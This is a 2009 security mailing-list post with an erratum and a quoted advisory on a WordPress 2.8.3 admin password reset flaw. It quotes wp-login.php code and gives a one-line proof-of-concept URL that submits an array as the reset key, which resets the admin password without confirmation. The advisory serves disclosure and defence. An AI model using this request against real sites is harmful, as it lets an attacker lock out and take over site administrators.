Errata:<br><br>&quot;V. BUSINESS IMPACT<br>-------------------------<br>
An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu &lt;= 2.8.3&quot;<br><br>--&gt;<br><br>&quot;V. BUSINESS IMPACT<br>-------------------------<br>
An attacker could exploit this vulnerability to reset the admin account of any wordpress/wordpress-mu &lt;= 2.8.3&quot;<br><br><br>Regards Laurent Gaffié<br><br><br><div class="gmail_quote">2009/8/10 laurent gaffie <span dir="ltr">&lt;<a href="mailto:laurent.gaffie@gmail.com">laurent.gaffie@gmail.com</a>&gt;</span><br>
<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">=============================================<br>- Release date: August 10th, 2009<br>- Discovered by: Laurent Gaffié<br>
- Severity: Medium<br>=============================================<br><br>I. VULNERABILITY<br>-------------------------<br>
WordPress &lt;= 2.8.3 Remote admin reset password<br><br>II. BACKGROUND<br>-------------------------<br>WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. <br>WordPress is both free and priceless at the same time.<br>

More simply, WordPress is what you use when you want to work with your blogging software, not fight it.<br><br>III. DESCRIPTION<br>-------------------------<br>The way Wordpress handle a password reset looks like this:<br>

You submit your email adress or username via this form /wp-login.php?action=lostpassword ;<br>Wordpress send you a reset confirmation like that via email:<br><br>&quot;<br>Someone has asked to reset the password for the following site and username.<br>

<a href="http://DOMAIN_NAME.TLD/wordpress" target="_blank">http://DOMAIN_NAME.TLD/wordpress</a><br>Username: admin<br>To reset your password visit the following address, otherwise just ignore this email and nothing will happen<br>
<br><a href="http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&amp;key=o7naCKN3OoeU2KJMMsag" target="_blank">http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&amp;key=o7naCKN3OoeU2KJMMsag</a><br>
&quot;<br><br>You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials.<br><br>Let&#39;s see how it works:<br><br><br>wp-login.php:<br>...[snip]....<br>

line 186:<br>function reset_password($key) {<br>    global $wpdb;<br><br>    $key = preg_replace(&#39;/[^a-z0-9]/i&#39;, &#39;&#39;, $key);<br><br>    if ( empty( $key ) )<br>        return new WP_Error(&#39;invalid_key&#39;, __(&#39;Invalid key&#39;));<br>

<br>    $user = $wpdb-&gt;get_row($wpdb-&gt;prepare(&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key));<br>    if ( empty( $user ) )<br>        return new WP_Error(&#39;invalid_key&#39;, __(&#39;Invalid key&#39;));<br>

...[snip]....<br>line 276:<br>$action = isset($_REQUEST[&#39;action&#39;]) ? $_REQUEST[&#39;action&#39;] : &#39;login&#39;;<br>$errors = new WP_Error();<br><br>if ( isset($_GET[&#39;key&#39;]) )<br>    $action = &#39;resetpass&#39;;<br>

<br>// validate action so as to default to the login screen<br>if ( !in_array($action, array(&#39;logout&#39;, &#39;lostpassword&#39;, &#39;retrievepassword&#39;, &#39;resetpass&#39;, &#39;rp&#39;, &#39;register&#39;, &#39;login&#39;)) &amp;&amp; false === has_filter(&#39;login_form_&#39; . $action) )<br>

    $action = &#39;login&#39;;<br>...[snip]....<br><br>line 370:<br><br>break;<br><br>case &#39;resetpass&#39; :<br>case &#39;rp&#39; :<br>    $errors = reset_password($_GET[&#39;key&#39;]);<br><br>    if ( ! is_wp_error($errors) ) {<br>

        wp_redirect(&#39;wp-login.php?checkemail=newpass&#39;);<br>        exit();<br>    }<br><br>    wp_redirect(&#39;wp-login.php?action=lostpassword&amp;error=invalidkey&#39;);<br>    exit();<br><br>break;<br>...[snip ]...<br>

<br>You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable.<br> <br><br>IV. PROOF OF CONCEPT<br>-------------------------<br>A web browser is sufficiant to reproduce this Proof of concept:<br>

<a href="http://DOMAIN_NAME.TLD/wp-login.php?action=rp&amp;key%5B%5D=" target="_blank">http://DOMAIN_NAME.TLD/wp-login.php?action=rp&amp;key[]=</a><br>The password will be reset without any confirmation.<br> <br>V. BUSINESS IMPACT<br>
-------------------------<br>
An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu &lt;= 2.8.3<br><br>VI. SYSTEMS AFFECTED<br>-------------------------<br>All<br><br>VII. SOLUTION<br>-------------------------<br>

No patch aviable for the moment.<br> <br>VIII. REFERENCES<br>-------------------------<br><a href="http://www.wordpress.org" target="_blank">http://www.wordpress.org</a><br><br>IX. CREDITS<br>-------------------------<br>
This vulnerability has been discovered by Laurent Gaffié<br>
Laurent.gaffie{remove-this}(at)<a href="http://gmail.com" target="_blank">gmail.com</a><br>I&#39;d like to shoot some greetz to <a href="http://securityreason.com" target="_blank">securityreason.com</a> for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz :<br>

<a href="http://securityreason.com/achievement_securityalert/38" target="_blank">http://securityreason.com/achievement_securityalert/38</a><br><br>X. REVISION HISTORY<br>-------------------------<br>August 10th, 2009: Initial release<br>

<br>XI. LEGAL NOTICES<br>-------------------------<br>The information contained within this advisory is supplied &quot;as-is&quot;<br>with no warranties or guarantees of fitness of use or otherwise.<br>I accept no responsibility for any damage caused by the use or <br>

misuse of this information.<br>
</blockquote></div><br>